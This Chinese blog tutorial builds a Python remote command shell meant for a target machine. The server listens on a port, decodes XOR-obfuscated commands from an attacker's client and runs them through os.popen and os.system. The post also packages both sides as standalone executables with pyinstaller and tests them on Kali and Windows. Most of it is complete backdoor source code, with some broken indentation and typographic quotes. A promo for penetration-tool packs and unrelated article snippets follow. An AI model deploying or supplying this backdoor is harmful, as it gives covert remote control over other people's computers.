python执行shell

0x00:前言

正常一个网站分为服务端和客户端,因为是正向的,所以服务端是在目标机器上的,客户端则是攻击者机器上,在这里要感谢MiaGz大师傅,这里很多都是参考了MiaGz大师傅的文章写出来的,进行了一点个人修改,而其中的加密方法则是参考了hacking8.com中python安全工具编写里的方法

0x01:构造思路

服务端要开启指定的监听端口,然后等待客户端来连接,s_sock.listen决定了可以有多少客户端连接,因为客户端发来的数据是用异或加密的。所以我们需要用同样的异或进行解密,完成后再用utf-8解码,从而得到明文消息,然后判断是否是推出命令。如果是则结束循环,外部大循环因为用的是同一个也会停止,如果想要断开后他依然运行可以将他们控制循环用的换掉

服务端
import socket
import os

这部分是参数设置
地址因为是本机,所以可以用空,或者127.0.01,0.0.0.0等方式

Host = ‘’;
Port = 1314;

recv函数接受的最大数据量

bufsize = 8000;
将ip和端口作为元组里的两个元素给变量
ipport = (Host,Port);

初始化对象,设置的参数都是默认的

s_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

绑定地址到套接字

s_sock.bind(ipport);

控制最大可以有多少连接,也就是组多可以有五个客户端连接过来

s_sock.listen(5);

控制循环的值

stop = False;
while not stop:

#被动的接受TCP客户端的连接,返回来的是一个元组,第一个元素是对方连接设置的各种信息,给c_sock,
#第二个元素则是目标ip和目标通过那个端口过来的
c_sock,caddr = s_sock.accept()
#将ip和端口分别给一个变量
ip,port = caddr;
print('%s connection....'%(ip));
#死循环
while True:
    try:
        #接受客户端发来的消息,最大数据量为bufsize变量的值
        data = c_sock.recv(bufsize);
    except:
        #如果出现异常就关闭连接,结束循环
        c_sock.close();
        break;
    #使用bytearray函数,将收到的数据(data)转换为一个字节数组,并且是可以修改的,给变量ceshi
    ceshi = bytearray(data);
    #判断数组的长度,作为终值,因为终值是小于,而且是从0开始所以刚刚好
    for i in range(len(ceshi)):
        #此处就是进行一个异或等于xxx,等同于ceshi[i] = ceshi[i] ^ 0x41
        #按位异或运算符:当两对应的二进位相异时,结果为1,它会将两边元素转换为二进制然后运算
        # 0和1为1,0和0为0,1和1为0,1和0为1,也就是转换为二进制比较时候,不一样就为1,一样就是0
        ceshi[i] ^= 0x41;
    #decode方法的语法:str.decode(encoding='UTF-8',errors='strict')
    #decode() 方法以 encoding指定编码格式来解码字符串。默认编码为字符串编码。
    values = ceshi.decode();
    #如果客户端发来的消息是quit,就会返回一个True给stop,不等于则返回一个False
    stop = values == 'quit' or values == 'exit';
    #如果发来的是quit或者exit,就结束循环
    if stop:
        break;
    #popen()方法语法格式:os.popen(command[, mode[, bufsize]]),command -- 使用的命令。mode -- 模式权限可以是 'r'(默认) 或 'w'
    #bufsize -- 指明了文件需要的缓冲大小:0意味着无缓冲;1意味着行缓冲;其它正值表示使用参数大小的缓冲
    #大概值,以字节为单位)。负的bufsize意味着使用系统的默认值,一般来说,对于tty设备,它是行缓冲;
    #对于其它文件,它是全缓冲。如果没有改参数,使用系统的默认值。
    #返回值为:execution succeed,中文意思是执行成功
    value = os.popen(values);
    #system方法,会将字符串转换成命令来执行,返回值为0,表示执行成功,返回其他的则表示失败
    fh = os.system(values);
    #判断执行成功没有
    if fh == 0:
        #调用read方法读取value的内容
        value = value.read()
        #如果读取的值为空,取反为真,如果读取不为空,取反为假,也就是如果是空的就给他一个字符串,如果不是空的就不用
        if not value:
            value = 'execution succeed';
    #如果fh等于32512就提示,找不到命令
    elif fh == 32512:
        value = 'sh: %s: command not found'%(values);
    #再次调用bytearray方法,将value转换为一个字节数组,指定使用utf-8编码
    hehe = bytearray(value,'utf-8');
    #将编码的数据进行异或加密
    for i in range(len(hehe)):
        hehe[i] ^= 0x41;
    #使用send方法发送给客户端
    c_sock.send(hehe);
#内部循环结束的话就关闭这个连接
c_sock.close();
关闭连接

s_sock.close();

0x02:客户端部分

客户端去连接服务端,然后把命令发给服务端,然后接收服务端返回的数据,在通过异或,将其还原成明文打印出来,也可以不使用这种,而直接用base64,等其他加密,这里使用异或所以要将数据先转换成字节数组,然后一个一个字符的加密,如果使用base64等加密,则可以不转换成数组,直接加密一整句,这里因为要告诉服务端,我们退出了,所以需要在发送数据后判断是否退出,因为发送的数据是加密后的,所以我们直接用未加密前的来判断,如果是退出,就结束循环关闭连接

客户端

import socket
import os

输入目标地址

Host = input(‘input server ip: ‘);

如果输入为空,那就设置为本地回环地址

if not Host:
Host = ‘127.0.0.1’;

连接的端口,注意是服务开启的端口才行,因为是我们过去连目标的ip和端口

Port = 1314;

addr得到一个元组,值分别是ip和端口,类型为元组

addr = (Host,Port);

初始化对象,设置的参数都是默认的

c_sock = socket.socket(socket.AF_INET,socket.SOCK_STREAM);

设置控制循环的值

status = True;
try:

#调用connect方法连接目标地址和端口
c_sock.connect(addr);

except:

#如果连接失败,就执行这部分
print('%s 链接出问题了'%(Host));
#将控制循环的值改为False
status = False;
连接成功了执行

while status:

#获取要发给服务端的命令
value = input('[%s] Shell > '%(Host));
#将获取到的值用bytearray转换为一个字节数组,编码格式为utf-8,返回值就是  b'你的字符串'
encode = bytearray(value,'utf-8');
#使用len判断数组的长度,作为循环终值,因为是从0开始小于最大值,所以刚刚好
for i in range(len(encode)):
    #将数组的元素进行异或加密,然后在给数组,下面的相等encode[i] = encode[i] ^ 0x41;
    #异或(^)会将对比的两个参数转换为二进制,然后相同为0,相异为1,在将结果转会字符串
    #原理就是先转换为二进制,比如下面的,如果位数一样就是0,不一样就是1,此处用来进行加密我们发送的数据
    #60 = 0011 1100
    #13 = 0000 1101
    #   = 0011 0001
    encode[i] ^= 0x41;
#如果value得值是空的就取反为真,如果不为空就取反未假
#简单来说就是如果没输入东西就执行,跳过这次循环从新让你输入
if not value:
    continue;
#如果try范围内的代码出现异常什么的就终止,然后执行except中的代码
try:
    #将数据发送过去
    c_sock.send(encode);
    #判断输入的值是否为quit,如果是就结束for循环
    if value == 'quit' or value == 'exit':
        break;
    #使用recv方法接收TCP数据,最大接收数据量为10000
    data = c_sock.recv(10000);
    #将接收的数据,使用bytearray方法转换为一个字节数组,不需要参数uft-8,因为传过来的就是,加了反而有问题
    ceshi = bytearray(data)
    #进行一个循环解密,将收到的数据再次进行异或运算,从而还原明文
    for i in range(len(ceshi)):
        ceshi[i] ^= 0x41
    #输出数据,并使用decode方法来将数据解码为字符串
    print('%s OS : \n'%(Host),ceshi.decode());
#出现异常就这行这部分
except:
    print('%s 断开了连接'%(Host));
    #结束循环
    break;
关闭连接

c_sock.close();

0x03:进阶思路

这样一个简单的服务端和客户端就完成了,可是这种只能在装有python的环境下运行很不方便,所以我们使用pyinstaller将他们编译成可执行文件,pyinstaller非常方便,而且跨平台,但是你在linux下编译出来的就是linux的,要exe的话要去wind下编译

pyinstaller命令有几个好用的参数,这里介绍几个,如果感兴趣的可以自行了解一下,因为是菜鸡新手,所以就用-F即可

-F 产生单个的可执行文件,也就是值有一个可执行文件,没有其他文件夹啥的
-D 产生一个目录(包含多个文件)作为可执行程序,就像一个大程序一样,有很多文件支持
-d 产生 debug 版本的可执行文件

这里我们把客户端编译一下,会输出很多详细信息

图片

编译完成后会在你所在的目录下产生三个文件夹,分别是build、dist和pycache这三个,而我们的可执行文件就被放在dist中,进去就可以看到

图片

编译服务端,比如这里我是在一个新建的空文件夹中编译的

图片

我们这个目录下就产生了三个文件,其中我们的可执行程序在dist中,服务端.spec则是类似一个介绍文件,pycache文件则还是产生在你py文件的位置哪里,因为咱也是初学者,所以对着些并不了解,所以有些说错的地方还望指正

图片

图片

0x04:测试实例

测试是否可运行,先将服务端复制到另一个kali下,并给他执行权限

图片

运行起来,没有报错保持这个就表示没问题

图片

启动客户端来连接,发现可以单独启动,说明编译的没有问题

图片

此处我也在wind下编译了一个服务端,然后尝试用kali上的客户端去连接也没有问题

图片

图片

不过在wind下有个小问题,那就是如果输入不存在的命令会直接断开,后来检查了代码,发现这里只设置了if和 elif,并没有遇到第三种情况,所以导致他就直接中断了,所以将服务端加入一个else条件即可

图片

可以看到这下在任何情况下输入错误的命令也不会断开了

图片

图片

图片

没看够~?欢迎关注!

免费领取安全学习资料包!

渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

应急响应笔记

学习路线

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/207066.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

STM32/GD32_分散加载

Q:如何将一个变量、某个源文件的函数在编译阶段就存储在用户指定的区域? KEIL环境:.map后缀文件、.sct后缀文件 IAR环境:.map后缀文件、.icf后缀文件 【map文件】 对固件里面的变量、函数、常量等元素的存储空间进行分配的说明…

【android开发-04】android中activity的生命周期介绍

1,返回栈 android中使用任务task来管理activity,一个任务就是一组存放在栈里的活动的集合,这个栈被称为返回栈。栈是一种先进先出的数据结构。当我们启动一个新的活动,他会在返回栈中人栈,并处以栈顶的位置&#xff0…

刘恋对话贾樟柯:焦虑往往是因为我们还有的选

11月29日,由房产服务国民品牌我爱我家与贾樟柯联合呈现的《住进每一种生活》,在乐迷和网友的热烈期盼下迎来了第三期。自首期节目在腾讯视频和极光TV播出以来,《住进每一种生活》频频在社交媒体上引发观众热议。 《住进每一种生活》以六位名…

指纹芯片的工作原理及应用领域详解

指纹芯片是一种利用指纹识别技术的电子设备,可以通过扫描人体指纹的纹理特征,将其转化为数字化信息并进行存储和识别。指纹芯片广泛应用于各个领域,包括智能手机、银行和金融、门禁系统、身份验证等,因其高度准确、快速便捷的特点,得到了广大用户的青睐。 指纹芯片的原理是基于…

从订阅式需求发展,透视凌雄科技DaaS模式增长潜力

订阅制,C端消费者早已耳熟能详,如今也凭借灵活、服务更新稳定的特点,逐渐成为B端企业服务的新热点。 比如对中小企业而言,办公IT设备等配套支出都必不可少,但收入本身并不稳定,购置大堆固定资产&#xff0…

【散列函数的构造方法(直接定址法 ==除留余数法==),散列表的查找(1.开放地址法,2.链地址法(拉链法))】

文章目录 散列函数的构造方法直接定址法除留余数法 散列表的查找1.开放地址法线性探测法二次探测法伪随机探测法 2.链地址法(拉链法) 散列表的查找效率 散列函数的构造方法 散列存储 选取某个函数,依该函数按关键字计算元素的存储位置。 Loc…

3.3 路由器的远程配置

实验3.3 路由器的远程配置 一、任务描述二、任务分析三、具体要求四、实验拓扑五、任务实施(一)、配置通过Telnet登录系统1.RA的基本配置2.RB的基本配置3.在RA上配置Telnet用户登录界面 (二)、配置通过STelnet登录系统1.RA的基本配…

SpringBoot 实现动态切换数据源,这样做才更优雅!

最近在做业务需求时,需要从不同的数据库中获取数据然后写入到当前数据库中,因此涉及到切换数据源问题。本来想着使用Mybatis-plus中提供的动态数据源SpringBoot的starter:dynamic-datasource-spring-boot-starter来实现。 结果引入后发现由于…

物联网实训室虚拟仿真软件建设方案

一、概述 物联网实训室虚拟仿真软件旨在紧密围绕立德树人的根本任务,充分依托先进的数字技术,并对接物联网行业的发展趋势和人才需求。通过对比真实企业工作环境,融合创新创业教育基因,秉承虚拟仿真技术与教育教学深度融合的理念&…

Linux系统iptables扩展

目录 一. iptables规则保存 1. 导出规则保存 2. 自动重载规则 ①. 当前用户生效 ②. 全局生效 二. 自定义链 1. 新建自定义链 2. 重命名自定义链 3. 添加自定义链规则 4. 调用自定义链规则 5. 删除自定义链 三. NAT 1. SNAT 2. DNAT 3. 实验 ①. 实验要求 ②. …

avue页面布局 api 引用

展示 index.vue <template><basic-container><avue-crud :option"option":table-loading"loading":data"data":page"page":permission"permissionList":search.sync"search":before-closebefore…

Linux信号超详细剖析

预备知识&#xff1a; 一、信号产生(OS发给进程) 1、键盘组合键 Linux中&#xff0c;一次登录对应一个终端&#xff0c;bash/shell。且只允许一个进程是前台进程&#xff0c;默认就是bash/shell&#xff0c;其它都是后台进程。获取键盘输入的是前台进程。 Ctrlc: 向前台进程…

KaiwuDB 亮相中国国际供应链促进博览会

11月28日&#xff0c;全球首个以供应链为主题的国家级展会——2023 中国国际供应链促进博览会&#xff08;简称“链博会”&#xff09;在北京盛大召开。KaiwuDB 受邀亮相大会&#xff0c;向与会者展示现代数据库技术在数字科技链条中的根基作用&#xff0c;其中分布式多模数据库…

mongodb连接工具

推荐几款熟悉的mongodb连接工具 mongoshellmongoCompassmongodbAtlasnosqlbooster 这四款连接工具中&#xff0c;mongoshell, mongoCompass, mongodbAtlas都是mongodb官网介绍和推荐的工具。好不好用先不说&#xff0c;这几款工具胜在官方提供&#xff0c;免费开源。无论使用怎…

Linux常用命令——axel命令

在线Linux命令查询工具 axel 多线程下载工具 补充说明 axel是Linux下一个不错的HTTP/ftp高速下载工具。支持多线程下载、断点续传&#xff0c;且可以从多个地址或者从一个地址的多个连接来下载同一个文件。适合网速不给力时多线程下载提高下载速度。比如在国内VPS或服务器上…

代码级接口测试与单元测试的区别

关于接口测试 接口测试是一个比较宽泛的概念, 近几年在国内受到很多企业和测试从业者的追捧, 尤其是上层的UI在取悦用户的过程中迭代更新加快, UI自动化维护成本急剧上升的时代, 大家便转向了绕过前端的接口层面进行测试. 但是很多人, 对接口测试的理解并不完整, 事实上, 我们…

Neo4j 数据库运维与优化(头歌)

文章目录 第1关&#xff1a;Neo4j 运维与优化 &#xff08;企业版&#xff09;任务描述相关知识准备工作安装监控软件安装 Prometheus优化思路 本关要求测试说明题目答案 第1关&#xff1a;Neo4j 运维与优化 &#xff08;企业版&#xff09; 任务描述 本关任务&#xff1a;学…

Yocto版本信息查询

文章目录 yocto官方发布版本当前版本完整版本信息yocto与内核版本对应Yocto工程查找版本Yocto镜像查找版本启动串口打印系统配置参考yocto官方发布版本 当前版本 如下图所示,当前yocto的主要维护版本,几乎每年一年版本,当前为5.0版本 完整版本信息 从图可知,yocto项目…

AUTOSAR OS任务调度的底层逻辑

先参考 FreeRTOS的任务触发底层逻辑 简述RTOS任务调度底层逻辑 AUTOSAR-OS的调度机制-调度表&#xff08;没理解透&#xff0c;继续更新&#xff09; OSEK与FreeRTOS在任务调度上最大的区别在于&#xff0c;FreeRTOS是基于全抢占任务调度和时间片轮转调度机制&#xff0c;具有…

Golang 设置运行的cpu数与channel管道

介绍&#xff1a;为了充分了利用多cpu的优势&#xff0c;在Golang程序中&#xff0c;设置运行的cpu数目。 func main() {//获取系统当前cpu的数量num : runtime.NumCPU()//这里根据需求来设置整个go程序去使用几个cpuruntime.GOMAXPROCS(num)fmt.Println("num ", nu…